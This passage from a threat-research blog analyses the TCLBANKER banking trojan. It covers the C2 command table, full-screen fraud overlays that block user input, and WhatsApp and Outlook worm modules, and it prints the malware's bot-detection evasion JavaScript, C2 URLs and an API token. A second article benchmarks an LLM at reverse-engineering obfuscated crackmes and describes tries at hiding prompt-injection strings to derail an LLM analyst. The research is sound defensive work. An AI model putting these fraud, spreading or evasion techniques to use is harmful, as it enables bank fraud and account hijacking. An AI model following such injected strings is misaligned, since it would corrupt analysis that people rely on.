| Opcode | Purpose | | :---- | :---- | | 2 | Registration ACK, start the Task Manager killer | | 4 | Graceful WebSocket disconnect | | 5 | Suicide: Kill all sibling processes and exit | | 6 | Forced reboot (shutdown.exe /r /t 0 /f) | | 7 | Suicide-then-Uninstall: kill all processes with the same host binary name except itself (siblings) → uninstall → exit | | 16 | Screenshot | | 17 | Start streaming the screen | | 18 | Stop streaming the screen | | 19 | Set screen capture quality (1-100) | | 20 | Enumerate monitors | | 32 | Mouse move (X, Y, MonitorIndex) | | 33 | Mouse click through overlay: parse {X,Y,Button,MonitorIndex} → translate to absolute desktop coords → find the implant's own overlay window covering that point → punch a 2x2 region hole in the overlay at that pixel → SetCursorPos + SendInput mouse-down/up (which lands on whatever real desktop content is underneath the overlay). | | 34 | Mouse scroll (Delta, SendInput) | | 35 | Key tap (KeyCode, SendInput) | | 37 | Key down (KeyCode, SendInput) | | 38 | Key up (KeyCode, SendInput) | | 39 | Start keylogger (WH_KEYBOARD_LL hook) | | 40 | Flush keylogger, exfil to C2 | | 41 | Clipboard hijack (Clipboard.SetText) | | 48 | File system directory listing | | 65 | Get running processes information | | 67 | Shell command execution (cmd.exe /c) | | 80 | Enumerate all visible windows | | 81 | Window manager: Kill process of a window / minimize window / restore window / bring window to foreground / close window / move window to another monitor | | 83 | Show stall overlay: either progress-steps or fake Windows Update screen | | 84 | Teardown overlay | | 85 | Toggle screen capture immunity. Enables/disables WDA_EXCLUDEFROMCAPTURE on all overlay windows to hide them from screen sharing / screenshots. | | 86 | Refresh overlay content | | 87 | Show cutout overlay: pin external window inside overlay with visible region cutout | | 96 | Show credential prompt overlay |

Social Engineering UI Framework

A more interesting capability of the banking trojan is a WPF-based full-screen overlay subsystem that orchestrates bank-themed fraud flows during active C2 sessions.

Overlay Lifecycle

The overlay manager spawns one full-screen WPF window per monitor. Windows are configured as borderless, topmost, and hidden from the taskbar (WindowStyle.None, Topmost = true, ShowInTaskbar = false), with a custom Closing handle that refuses dismissal until an internal flag is flipped by the operator through the overlay teardown command, preventing the windows from being closed.

At startup, the manager captures a PNG screenshot of every display via CopyFromScreen as the overlay backdrop, creating a “frozen desktop” look. Depending on the currently active overlay, the victim perceives their real desktop environment behind it.

A 500ms timer continuously reapplies HWND_TOPMOST via SetWindowPos to defeat any window attempting to surface above the overlay.

![Overlay "always on top" setting](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3606883337159dfd/6a7c9596e02fac1bdc5d0951/image14.png "Overlay \"always on top\" setting")

In addition, an anti-capture feature calls SetWindowDisplayAffinity with WDA_EXCLUDEFROMCAPTURE, rendering the overlay invisible to any screen-capturing tools, allowing the operator to see through their own overlay through the screenshot and screenstreaming commands.

Input Blocker

On the primary monitor, two hooks are installed: WH_KEYBOARD_LL and WH_MOUSE_LL. Both hooks check their respective injected flags (LLKHF_INJECTED for keyboard, LLMHF_INJECTED for mouse), allowing input injected via SendInput by the operator’s remote commands to pass through untouched. The keyboard hook swallows Tab, Escape, Alt+F4, Win keys, PrintScreen, Ctrl, Alt, and all navigation keys; the mouse hook blocks right-click, middle-click, and scroll, but allows left-click and movement, so the victim can still interact with the overlay prompts.

Social Engineering UI Builders

Five interchangeable content renderers plug into the overlay framework:

Credential Prompt: Supports three input modes, selected based on the operator's request parameters.

Phone mode applies real-time Brazilian format masking ((##) ####-#### for 10-digit landlines, (##) #####-#### for 11-digit mobiles) with max 11 digits.
Virtual keypad mode renders an on-screen numeric keypad (buttons 0–9 plus "limpar"/clear), displaying input as bullet characters to mimic PIN entry.
Default mode accepts plain text with a configurable max length.

All modes run input through a quality validator that algorithmically rejects same-digit sequences (000000) and ascending/descending runs (123456, 654321) to prevent victims from entering throwaway values.

The submit action fires the captured values to the C2.

Vishing Wait Screen: Triggers after the victim submits their phone number in the credential prompt. Displays "Estamos entrando em contato" ("We are getting in touch") with a central image “breathing” animation and three dots with staggered opacity animations (300ms offset per dot) producing a "connecting" visual. The operator or an accomplice can then call the victim's real phone, impersonating bank security staff.

Progress Steps: A fully operator-templated stall screen displaying a list of fake processing steps with a randomized animation. Step durations are randomized to total approximately 15 minutes. A timer advances through each step sequentially, visually marking completed steps, highlighting the current one, and dimming the remaining ones. When all steps are complete, the sequence resets to an earlier position with new randomized timings and continues.

Fake Windows Update: An alternative stall screen mimicking the Windows 10/11 update-restart screen. Renders a solid #0078D7 (Windows accent blue) background with a five-ellipse spinning indicator arranged in a circle. A percentage readout jumps by a random 25–35% at randomly selected 50–81-second intervals to mimic the irregular progress behavior of real Windows Updates. Default subtitle: "Trabalhando em atualizacoes" ("Working on updates").

![Windows "Working on Updates" stall overlay](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt063ca7be80c0980a/6a7c95a305b7b573f3185e99/image35.png "Windows \"Working on Updates\" stall overlay")

Cutout Overlay: Cuts a rectangular hole in the full-screen overlay, exposing the underlying application window. The operator specifies hole dimensions via opcode 87, in which the overlay manager builds a themed card with a transparent-border placeholder, computes its screen coordinates post-layout, and cuts a matching region hole using CreateRectRgn + CombineRgn(RGN_DIFF) + SetWindowRgn. The target window is repositioned underneath the hole. The result is a real application window framed within the overlay, and the victim interacts with the actual application while the surrounding overlay provides deceptive context.

Worm module

The second module invoked by the loader is Tcl.WppBot, is designed to propagate spam and phishing messages at scale, to distribute TCLBANKER. Two distinct agent types were recovered from two different loaders and analyzed:

A WhatsApp worm that hijacks browser sessions
An Outlook email bot that abuses Microsoft Outlook through COM interop

Tcl.WppBot is also .NET Reactor-protected with the same version used to protect Tcl.Agent, and so we also managed to statically deobfuscate payloads in this stage.

Both agents share the same C2 backend, authentication credentials, and operational infrastructure. The C2 URL and API key are decrypted at startup using XOR decryption with a hardcoded key.

C2 URL: campanha1-api.ef971a42.workers[.]dev (Cloudflare Workers app)
API key / Bearer token: 0d21613a-2609-45fc-83ff-d0feaa0c891f

The C2 serves a single superset campaign configuration object via the https://campanha1-api.ef971a42.workers[.]dev/api/campaign endpoint. Each agent variant deserializes the full object but only reads the fields relevant to its channel.

Captured configuration:

message            : Ola tudo bem?
                     Preciso de um orÃ§amento, estarei encaminhado caso tenha os produtos por favor me retorne para
                     darmos continuidade no atendimento.

                     https://arquivos-omie[.]com ð

                     âï¸*IMPORTANTE*: Este orÃ§amento foi otimizado para visualizaÃ§Ã£o em Computadores Desktop,
                     pois o mesmo necessita de visualizador de excel, word ou pdf.
fileUrl            : https://documents.ef971a42.workers[.]dev/file
delayMin           : 1
delayMax           : 3
maxPerSession      : 3000
updatedAt          : 2026-04-17T15:54:07.003Z
type               : gmail
subject            : Prezado(a), NFe disponÃvel para impressÃ£o
emailMessage       : 
                     
                     
                         
                         Nota Fiscal DisponÃvel
                         
                     
                     

                         Prezado(a)
                         
                             Sua Nota Fiscal EletrÃ´nica (NFe) estÃ¡ disponÃvel e pronta para ser acessada.
                             Para facilitar, basta clicar no botÃ£o abaixo para abrir o documento.
                         

                         
                             Caso tenha alguma dÃºvida sobre os detalhes da nota ou precise de alguma alteraÃ§Ã£o, por
                     favor, entre em contato conosco.
                         

                         
                             
                         

                         
                             Agradecemos pela confianÃ§a e ficamos Ã  disposiÃ§Ã£o para qualquer outra necessidade.
                         

                     
                     
emailDelayMin      : 30
emailDelayMax      : 90
emailMaxPerSession : 100

The same Cloudflare account ef971a42 also hosts the payload delivery CDN (domain for fileUrl in the configuration object) at documents.ef971a42.workers[.]dev. Accessible through the /file endpoint, it currently serves a zip file containing the TCLBANKER-trojanized LogiAI Prompt Builder MSI. This infrastructure decision allows the operator to rapidly redeploy infrastructure without maintaining dedicated servers.

As of the time of writing, the phishing domain arquivos-omie[.]com identified in the configuration above, created on 2026-04-15, is not at an operable state (Welcome! This portal is currently undergoing scheduled maintenance. Please try again later.) The campaign could be in its early operational stages or staged for tasking. This domain is also named to impersonate a popular Brazilian Enterprise Resource Planning (ERP) suite.

Agent 1: WhatsApp Bot

The WhatsApp agent silently takes over the victim’s authenticated WhatsApp Web session to send spam messages and distribute TCLBANKER to Brazilian contacts.

Session Hijacking

The malware starts by discovering Chromium-based browsers on the target system, then scanning both the App Paths registry entries and common installation directories for Chrome, Edge, Brave, Opera, and Vivaldi. It then walks each browser's user profiles (e.g., "Default," "Profile 1," etc.), looking for evidence of an active WhatsApp Web session. A profile is flagged as having an authenticated session if its IndexedDB storage contains the WhatsApp Web LevelDB directory at /IndexedDB/https_web.whatsapp[.]com_0.indexeddb.leveldb/.

Then each profile is sent to the profile-cloning and session-hijacking function.

For each qualifying profile, the malware clones it to a temporary directory at %TEMP%\\, copying only the files needed to resume the WhatsApp Web session: IndexedDB, Local Storage, Session Storage, databases, Web Data, Login Data, and Cookies. It then launches a headless Chromium instance via Selenium WebDriver, with --user-data-dir pointing at the cloned profile.

The matching chromedriver.exe is resolved at runtime by a disguised Selenium Manager binary dropped at %TEMP%\msvc-rt14\bin\hostfxr.exe, which is invoked with --browser chrome --output json and returns the path of a chromedriver compatible with the victim's installed Chrome version.

Immediately after launch, the malware injects JavaScript to bypass bot-detection frameworks by hiding navigator.webdriver, populates chrome.runtime, reconciles the Notification.permission / permissions.query state mismatch, fakes a non-empty navigator.plugins array, and sets navigator.languages to ['pt-BR', 'pt', 'en-US', 'en'] to match the target demographic.

Object.defineProperty(navigator, 'webdriver', {
    get: () = > undefined 
}

);
delete navigator.__proto__.webdriver;
if (window.chrome)  {
    window.chrome.runtime = window.chrome.runtime || {};
}

const origQuery = window.navigator.permissions.query;
window.navigator.permissions.query = (p) = > (
p.name ==  = 'notifications' ?
Promise.resolve( {
    state: Notification.permission 
}

) :
origQuery(p)
);
Object.defineProperty(navigator, 'plugins', {
    get: () = > [1, 2, 3, 4, 5], }

);
Object.defineProperty(navigator, 'languages', {
    get: () = > ['pt-BR', 'pt', 'en-US', 'en'], }

);
window.navigator.chrome = {
    runtime: {}

};

With the cloned profile loaded, the browser navigates to web.whatsapp[.]com, and the malware waits up to 45 seconds to observe the resulting page state. If the chat interface appears (the cloned IndexedDB was valid and the session resumed without a QR scan), it injects an embedded WA-JS (WPPConnect) library and waits for WPP.contact.list and WPP.chat.sendTextMessage to become callable before starting the campaign dispatch loop. If the QR code prompt is shown instead, the engine returns "qr_code" without attempting injection, then tries the next candidate profile.

Spam Functionality

Once the injection succeeds, the malware retrieves the active campaign from the C2 endpoint https://campanha1-api.ef971a42.workers[.]dev/api/campaign, which supplies the message body, optional attachment URL, caption, and timing parameters. TCLBANKER is then downloaded from the file server at https://documents.ef971a42.workers[.]dev/file and reconstructed in the browser context as a File object, without being dropped to disk.

The malware then calls WPP.contact.list to harvest the victim's address book, filters out groups, broadcasts, and non-Brazilian numbers, and begins dispatching messages through WPP.chat.sendTextMessage and sendFileMessage. The malware reports progress to the C2 endpoint /api/progress after each batch, and polls /api/control for remote pause or resend commands from the operator.

Agent 2: Outlook Email Bot

The Outlook agent is an email spambot that abuses the victim’s installed Microsoft Outlook application to send phishing emails from the victim’s email address, making them harder to detect as spam than emails sent from attacker-controlled infrastructure.

Outlook Discovery & COM Attachment

If OUTLOOK.EXE is not already running, it attempts to locate the installation in App Paths registry entries and known installation directories and launches it in a new process. The malware then attaches to the process via COM interop: Marshal.GetActiveObject("Outlook.Application"), and validates that it has at least one email account configured.

Contact Harvesting

The malware then drops a PowerShell script, %TEMP%\oc.ps1, that harvests contacts via Outlook COM from a separate process. It harvests contacts from two sources: first, it reads the default Contacts folder for all contact entries, extracting email addresses and full names from each contact item. Second, it iterates every store’s root folders to find inbox-like folders, sorts inbox messages by latest, and extracts sender email addresses and names before writing them to a .txt file in email|name format.

For each candidate email, additional filtering is done to maximize deliverability.

Spam Functionality

Similar to the WhatsApp bot, the malware retrieves the active campaign from https://campanha1-api.ef971a42.workers[.]dev/api/campaign, then sends emails through the victim's own Outlook accounts via COM automation. Each email is constructed via outlookApp.CreateItem(0) (MailItem) with the recipient in To, the campaign subject line, and the campaign content emailMessage, sent using the victim's actual account via SendUsingAccount.

Between sends, the agent applies a randomized delay and periodically checks the C2 control endpoint /api/control for pause or resend commands, and reports progress to /api/progress.

Infrastructure

The REF3076 actors have leveraged the worker[.]dev Cloudflare Serverless infrastructure for C2 and file hosting. This decision allows them to inherit any trust victims might already have in Cloudflare and to rotate infrastructure quickly as needed.

Pivoting on the body-hash (91fafaa1240676afe5c55d931261e3798797c408) of the phishing site above (arquivos-omie[.]com), we were able to identify additional domains that are likely being prepared for weaponization:

More Brazilian phishing infrastructure was discovered after a broader pivot in the banner title (Portal Corporativo), but it’s unclear whether it was directly related to REF3076 or to other actors in the Latin American banking trojan ecosystem. Notably, one cluster leveraged the Cloudflare pages[.]dev free static-site hosting product.

The C2 domain mxtestacionamentos[.]com previously pointed to a Brazilian-hosted IP 191.96.224[.]96.

Last year, this IP concurrently hosted a REF3076 C2 domain, a REF3076 phishing domain, and a domain previously associated with the Water Saci campaign and SORVEPOTEL/MAVERICK malware by TrendMicro (saogeraldoshiping[.]com).

!Validin timeline of A records associated with 191.96.224[.]96

Conclusion

TCLBANKER reflects a broader maturation happening across the Brazilian banking trojan ecosystem. Techniques that were once the hallmark of more sophisticated threat actors: environment-gated payload decryption, direct syscall generation, real-time social engineering orchestration over WebSocket, are now being packaged into commodity crimeware. The barrier to entry continues to drop, especially when powerful LLMs are readily accessible for code generation.

The inclusion of self-propagating worm modules marks a notable shift in this space. The campaign inherits the trust and deliverability of legitimate communications by hijacking victims' WhatsApp sessions and Outlook accounts. This is a distribution model that traditional email gateways and reputation-based defenses are ill-equipped to catch. As Latin American banking trojans continue to adopt these self-spreading mechanisms, organizations should expect the volume and reach of these campaigns to scale accordingly.

Developer artifacts throughout the chain, including debug logging paths, test process names, and a phishing site still under construction, suggest REF3076 is in its early operational stages. This is a campaign still being built out, not wound down.

REF3076 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Remediating REF3076

Prevention

YARA

Elastic Security has created YARA rules to identify this activity.

Windows.Trojan.TCLBanker

Observations

The following observables were discussed in this research.

The Cost of Understanding: LLM-Driven Reverse Engineering vs Iterative LLM Obfuscation

Cyril François,Daniel Stepanic,Jia Yu Chan — Tue, 21 Apr 2026 00:00:00 GMT

Introduction

Over the past few years, we have observed a significant evolution in the capabilities of LLMs to be productive and to carry out various tasks that address real-world problems, such as program synthesis, malware research, or vulnerability research. Specifically in the context of reverse engineering, LLMs are particularly effective given the right tools because they are very good at reading source code even without symbols. Not only that, thanks to their knowledge, they are capable of imitating and applying reversing methodologies.

Program obfuscation methods create a significant asymmetry between the time required to apply the transformations to a program and the time required to reverse-engineer it, providing a relatively effective defense against reverse engineering and putting pressure on researchers to waste time and develop new methods. The emergence of LLMs has significantly changed the game, as models are now capable of breaking these obfuscations (depending on the transformations applied) in a reasonable amount of time, thus reversing this asymmetry in favor of the attacker.

Nevertheless, in this cat-and-mouse game, we assume that it is only a matter of time before obfuscator manufacturers adapt with new techniques and raise the bar, just as, to face this new reality where reverse engineering has never been so accessible, software producers systematically apply these transformations to protect their intellectual property.

Twice a year, Elastic offers engineers the opportunity to undertake a one-week research project during ON Week. For this April 2026 session, inspired by this article, we researched how cheap and easy it is to vibecode obfuscation techniques targeted against LLMs, specifically Claude Opus 4.6. This research will cover an initial benchmark we conducted, in which we tested the model against targets compiled with various combinations of transformations using the academic (but very powerful) Tigress obfuscator. Then we follow with our research of different obfuscation techniques we have found effective against the model, which were completely vibecoded using a dev/test/improve AI-driven pipeline.

Due to time constraints, we focused on static-analysis defenses. However, we think with no doubt that the workflow we have used can also be used to research ideas focused on dynamic-analysis defenses, such as evasion and anti-debug techniques, to make LLM-driven analysis significantly more expensive and unreliable.

Key takeaways

LLMs have rapidly reshaped the software industry, making complex topics such as reverse engineering more accessible, including the ability to defeat various levels of obfuscation
Heavy obfuscation dramatically inflates computational cost and time, disrupting automated analysis pipelines
Effective LLM-targeting static analysis countermeasures are cheap and fast to develop
Successful LLM defenses exploit context windows, budget caps, and shortcut biases

Claude Opus 4.6 vs Tigress Obfuscator benchmark

We used Claude to benchmark its ability to statically solve a crackme obfuscated with the academic obfuscator Tigress.

Benchmark pipeline

To carry out these tests, we used a controller/worker setup in which one Opus instance manages sub-instances: it monitors their progress, collects their results, and can allocate more time to an instance if it judges that it is making progress and has potential. Conversely, it can also kill the instance if it estimates that the model is stuck in its task, going in circles, or starting to brute-force the problem.

Each worker sub-instance has access to a Windows virtual machine with IDA Pro installed and accessible via the IDA MCP plugin. It also has access to the resources of the Linux virtual machine it runs in for developing and launching scripts.

In addition, we use the Caveman plugin, compatible with Claude, which reduces LLM fluff talking up to -75% with the right instructions at startup. This increases work velocity and reduces the cost of each task. We use it in its default mode.

This setup allows each worker instance to start the test with an empty context and a classic reverse-engineering prompt, so it does not know it is being monitored as part of the benchmark.

Evaluation system

For the scoring, each target is scored by the controller instance on three axes (0–2 points each), for a maximum of six points:

Test cases

To perform these tests, we used the following challenge: recover the password r3v3rs3! by statically reverse-engineering the compiled binary.

// Run 2 crackme — 4-round XOR cipher with LCG key schedule
// Password "r3v3rs3!" only recoverable by reversing the algorithm.
// No key array in the binary — only a 32-bit seed.

unsigned int key_seed = 0x5EED1234u;

unsigned char enc_expected[8] = {
    0x1a, 0xcb, 0x74, 0xaa, 0x1a, 0x8b, 0x31, 0xb8
};

void transform(const char *input, unsigned char *output, int len) {
    unsigned int s = key_seed;
    unsigned int subkeys[4];

    // Key schedule: derive 4 round subkeys via glibc LCG
    for (int r = 0; r < 4; r++) {
        s = s * 1103515245u + 12345u;
        subkeys[r] = s;
    }

    // Copy input to 8-byte buffer (zero-padded)
    for (int i = 0; i < 8; i++)
        output[i] = (i < len) ? (unsigned char)input[i] : 0;

    // 4 rounds: XOR with subkey bytes, then rotate left by 1
    for (int r = 0; r < 4; r++) {
        for (int i = 0; i < 8; i++)
            output[i] ^= (unsigned char)(subkeys[r] >> (8 * (i & 3)));

        unsigned char tmp = output[0];
        for (int i = 0; i < 7; i++)
            output[i] = output[i + 1];
        output[7] = tmp;
    }
}

int verify(const unsigned char *transformed, int len) {
    if (len != 8) return 0;
    for (int i = 0; i < 8; i++)
        if (transformed[i] != enc_expected[i]) return 0;
    return 1;
}

// main(): reads argv[1], calls transform(), calls verify()
// prints "Access granted!" or "Access denied."

Results

Default Run

We compiled the challenge with different transformations, each transformation producing a different binary but with the same behavior and features. For the first run, we used default options for each transformation. All the transformations available in Tigress are available here. The tests were divided into 4 phases of increasing difficulty for a total of 22 targets:

Phase 0 - No Transforms

p0_baseline — No transformation

Phase 1 — Individual Transforms (7 targets):

p1_encode_arithmetic — EncodeArithmetic only
p1_encode_literals — EncodeLiterals only
p1_flatten_indirect — Flatten(indirect) only
p1_jit — JIT only
p1_jit_dynamic — JitDynamic(xtea) only
p1_virtualize_indirect_regs — Virtualize(indirect,regs) only
p1_virtualize_switch_stack — Virtualize(switch,stack) only

Phase 2 — Paired Transforms (7 targets):

p2_both_data — EncodeLiterals + EncodeArithmetic
p2_flatten_ind_enc_arithmetic — Flatten(indirect) + EncodeArithmetic
p2_flatten_ind_virt_sw — Flatten(indirect) + Virtualize(switch)
p2_jitdyn_enc_arithmetic — JitDynamic(xtea) + EncodeArithmetic
p2_virt_ind_enc_arithmetic — Virtualize(indirect,regs) + EncodeArithmetic
p2_virt_ind_enc_literals — Virtualize(indirect,regs) + EncodeLiterals
p2_virt_sw_enc_arithmetic — Virtualize(switch) + EncodeArithmetic

Phase 3 — Heavy Combos (7 targets):

p3_double_virtualize — Virtualize(switch) then Virtualize(indirect,regs) — nested VMs
p3_double_virt_both_data — Double virtualize + EncodeLiterals + EncodeArithmetic (the boss)
p3_flatten_ind_both_data — Flatten(indirect) + EncodeLiterals + EncodeArithmetic
p3_flatten_virt_ind_enc — Flatten(indirect) + Virtualize(indirect,regs) + EncodeArithmetic
p3_jitdyn_both_data — JitDynamic(xtea) + EncodeLiterals + EncodeArithmetic
p3_virt_ind_both_data — Virtualize(indirect,regs) + EncodeLiterals + EncodeArithmetic
p3_virt_sw_both_data — Virtualize(switch) + EncodeLiterals + EncodeArithmetic

The complete list of transformations, along with the generation options we used, is available here.

The evaluation of the results integrated three key criteria: the performance score, the cost, and the task execution time. It is crucial to note that even if a large language model is highly performant, its actual efficiency is always constrained by cost and time. These two factors are decisive in large-scale binary analysis, a task we aim to optimize through the different automated analysis pipelines developed at Elastic. Our objective is therefore to determine whether the use of tools such as Tigress significantly increases these three fundamental variables: performance, cost, and time.

Opus 4.6 solved 40% of the 20 tasks (22 from which 2 hanged and couldn’t be evaluated) with an average cost of $2.39 for successes and $4.83 for failures. In this 40%, 12.5% came from phase 0 (naked challenge without obfuscation), 50% from phase 1 (Simple transformation), 38.5% from phase 2 (Pair of transformations), and 0% from phase 3 (multiple layers).

Without surprise, we observe a significant increase in both the cost and time performance factors as the difficulty increases. Phase 3, which includes the most complex combinations of transformations, presents the best results with an average cost of $4.32. All failed tasks in this phase were terminated because the model began wasting tokens by going clueless or brute-force, failing to make any progress.

JIT (Just-In-Time) type obfuscation proved to be the most problematic transformation for our model during Phase 1. This technique consists of storing the code in an encrypted intermediate form. At execution time, the obfuscator reads this bytecode and generates valid x86 code, which is executed in dynamically allocated memory. This process is comparable to that of a virtual machine (like a PlayStation emulator), which compiles the code for an architecture different from the target and uses an emulator, with the additional JIT steps before execution.

Despite the failure of the JIT tasks, it is important to note that Opus 4.6 still identified the engine structures that host the LCG algorithm in the crackme. The failure lay in recovering the crucial constants needed to find the key.

Its work remains very impressive, and it can be assumed that with an increased budget and better guidance, the model could have succeeded. However, we must consider the practical asymmetry between the ease of generating such a task and the time and cost required to solve it. For a simple transformation, this obfuscation technique is very effective and makes scaling up the number of samples processed via an automated pipeline infeasible.

Phase 3, characterized by the multiplication and combination of obfuscation layers, led to a cost explosion. Although Claude once again accomplished part of the work very impressively, the task exceeded its capacity to continue autonomously.

For example, our results show that when faced with a double layer of virtualization (such as a Game Boy Advance game running in a GBA emulator, which itself runs in a PlayStation emulator), Claude manages to recover the handlers and bytecode of the upper virtual machine (the PlayStation). However, this exploit requires substantial effort: static analysis of the handlers, iterative development (multiple dev/debugging cycles) of the target emulator, then analysis of the results.

However, Claude consumes the majority of his budget on these preliminary steps. One can imagine that, with unlimited time and budget and slight guidance, he could succeed in the entire task. This efficiency makes him formidable for unique tasks or CTFs (Capture The Flag). Nevertheless, obfuscation remains viable as a defense against an automated pipeline that maximizes cost and time reductions to process the largest possible number of samples.

| Target | Phase | Transforms | Verdict | Score | Cost | Turns | Time | | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | | p0_baseline | 0 | None (control) | SUCCESS | 6/6 | $0.43 | 20 | 1m 55s | | p1_encode_arithmetic | 1 | EncodeArithmetic (MBA) | SUCCESS | 6/6 | $0.47 | 16 | 2m 20s | | p1_encode_literals | 1 | EncodeLiterals | SUCCESS | 6/6 | $1.65 | 28 | 9m 38s | | p1_flatten_indirect | 1 | Flatten (indirect) | SUCCESS | 6/6 | $1.27 | 58 | 6m 56s | | p1_jit | 1 | Jit | FAILURE | 2/6 | $5.90 | 40 | 32m 18s | | p1_jit_dynamic | 1 | JitDynamic (xtea) | FAILURE | 2/6 | ~$6+ | 137 | killed | | p1_virtualize_indirect_regs | 1 | Virtualize (indirect, regs) | SUCCESS | 6/6 | $6.00 | 97 | 25m 28s | | p1_virtualize_switch_stack | 1 | Virtualize (switch, stack) | INFRA_HANG | N/A | N/A | N/A | N/A | | p2_both_data | 2 | EncodeLiterals + MBA | SUCCESS | 6/6 | $1.08 | 21 | 6m 13s | | p2_flatten_ind_enc_arithmetic | 2 | Flatten + MBA | SUCCESS | 6/6 | $1.47 | 54 | 8m 03s | | p2_flatten_ind_virt_sw | 2 | Flatten + Virtualize (switch) | FAILURE | 2/6 | ~$3+ | 58 | killed | | p2_jitdyn_enc_arithmetic | 2 | JitDynamic + MBA | FAILURE | 2/6 | ~$3+ | 51 | killed | | p2_virt_ind_enc_arithmetic | 2 | Virtualize + MBA | SUCCESS | 6/6 | $3.85 | 65 | 19m 05s | | p2_virt_sw_enc_arithmetic | 2 | Virtualize (switch) + MBA | INFRA_HANG | N/A | N/A | N/A | N/A | | p2_virt_ind_enc_literals | 2 | Virtualize + EncodeLiterals | FAILURE | 2/6 | ~$5+ | 124 | killed | | p3_virt_ind_both_data | 3 | Virtualize + EncodeLiterals + MBA | FAILURE | 2/6 | ~$6+ | 140 | killed | | p3_virt_sw_both_data | 3 | Virtualize (switch) + EncodeLiterals + MBA | PARTIAL | 3/6 | $3.30 | 23 | 18m 58s | | p3_jitdyn_both_data | 3 | JitDynamic + EncodeLiterals + MBA | FAILURE | 1/6 | ~$2+ | 41 | killed | | p3_flatten_virt_ind_enc | 3 | Flatten + Virtualize + MBA | FAILURE | 1/6 | ~$5+ | 111 | killed | | p3_flatten_ind_both_data | 3 | Flatten + EncodeLiterals + MBA | FAILURE | 1/6 | ~$3+ | 65 | killed | | p3_double_virtualize | 3 | Double Virtualize | FAILURE | 1/6 | ~$6+ | 138 | killed | | p3_double_virt_both_data | 3 | Double Virtualize + EncodeLiterals + MBA | FAILURE | 1/6 | ~$5+ | 106 | killed |

Hardened Run

Tigress has additional options to make its transformations more complex; in the previous iteration, we used the default options. In this one, we took the cases where Claude managed to break the obfuscation and used the most aggressive options.

We hardened and benchmarked the following tasks:

p1_encode_arithmetic — EncodeArithmetic only
p1_flatten_indirect — Flatten (indirect) only
p1_virtualize_indirect_regs — Virtualize (indirect, regs) only
p2_both_data — EncodeLiterals + EncodeArithmetic
p2_flatten_ind_enc_arithmetic — Flatten (indirect) + EncodeArithmetic
p2_virt_ind_enc_arithmetic — Virtualize (indirect, regs) + EncodeArithmetic

The complete list of transformations, along with the generation options we used, is available here.

Applying the most aggressive obfuscation options for each tested transformation did not cause the model to fail on the tasks it had previously hosted. Nevertheless, a significant increase in cost and time factors was observed: up to a factor of x4 for time and x4.5 for cost in the case of the p2_flatten_ind_enc_arithmetic task.

It appears that the combination of control flow flattening (CFF) and complex Mixed Boolean Arithmetic (MBA) expressions is more effective than the association of virtualization (VM) and MBA. This superiority stems from the fact that even when the code is virtualized, the virtual machine handlers Tigress implements remain small and easy to analyze. Conversely, CFF causes an explosion in function size, which seems to be a more impactful weakness for the LLM.

The comparative results are presented in the table below:

| Target | Transforms | Run 2 Cost | Run 3 Cost | Cost Ratio | Run 2 Time | Run 3 Time | Time Ratio | | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | | p0_baseline | None (control) | $0.43 | $0.36 | 0.8x | 1m 55s | 1m 32s | 0.8x | | p1_encode_arithmetic | MBA | $0.47 | $0.71 | 1.5x | 2m 20s | 4m 08s | 1.8x | | p1_flatten_indirect | Flatten | $1.27 | $1.69 | 1.3x | 6m 56s | 9m 32s | 1.4x | | p1_virtualize_indirect_regs | Virtualize | $6.00 | $5.07 | 0.8x | 25m 28s | 25m 31s | 1.0x | | p2_both_data | EncodeLiterals + MBA | $1.08 | $1.21 | 1.1x | 6m 13s | 6m 46s | 1.1x | | p2_flatten_ind_enc_arithmetic | Flatten + MBA | $1.47 | $6.60 | 4.5x | 8m 03s | 34m 53s | 4.3x | | p2_virt_ind_enc_arithmetic | Virtualize + MBA | $3.85 | $5.96 | 1.5x | 19m 05s | 28m 03s | 1.5x |

Obfuscation techniques development targeting LLMs

The ability of LLMs to reverse-engineer closed-source software has improved impressively in recent years and will surely continue to progress. Until now, classic obfuscation methods have created a significant asymmetry between the time required to protect software and the time required to reverse-engineer it once the protection is in place. However, as we demonstrated in the previous section, an LLM-driven reverse-engineering agent was perfectly capable of defeating these protections and recovering the original code with impressive methodology and accuracy, both statically and without assistance, thereby significantly reducing this asymmetry for the first time.

However, we also observed that as obfuscation complexity increases, the time, cost, and success factors are drastically affected, thereby considerably reducing the viability of scaling the number of samples processed by an automatic analysis pipeline.

While LLMs make reverse engineering easier, they also make building obfuscation against themselves just as easy. Using Opus 4.6, we developed a set of source-level techniques targeting the structural and analytical weaknesses of LLM-based analysis. Using the same crackme as before, we achieved astonishing results across all factors, close to those we got with the hardest transforms of the Tigress obfuscator.

Analysis of the LLM weakness’

The reverse-engineering work of the LLM is surprisingly similar to that of human reasoning, the major difference being that a human is not limited by a context window that makes them increasingly foolish as it fills up. The context window is therefore obviously the first, and perhaps the most important, weakness of the models; it fills up as the task lengthens, with each reading of code, thoughts, scriptwriting, etc. Making the model waste as much time as possible on unnecessary paths and dead ends is therefore imperative.

Prompt injection is another technique targeting LLM’s in which specially crafted prompts (inputs) are used to trigger unintended behavior (outputs) from the model. The objective of this technique is to manipulate or confuse the underlying system so the prompt can bypass safety controls and generate unintended or unauthorized results. This poses a significant security risk because it can exploit weaknesses in how language models interpret and prioritize instructions, especially when deployed on internet-connected systems with access to sensitive data, external tools, or read/write capabilities. While we attempted to embed and hide prompt-injection strings in some of our tests to trick the LLM into prematurely ending its analysis or reaching the wrong conclusion, none of our attempts succeeded for Opus 4.6 so far.

The most powerful models we use every day in our work are, unfortunately, not yet open source and are even less accessible due to the necessary hardware to run them. That's why we have subscriptions to online models, which, while powerful, cost the user a lot of money. It is therefore obvious, and unsurprising, since we have already discussed it quite a bit, that the processing cost, whether temporal or monetary, is another major weakness. As with the context window, we will seek to make the model lose the maximum number of cycles so it burns the most money. If the model also fails after exhausting the budget, we hit the jackpot.

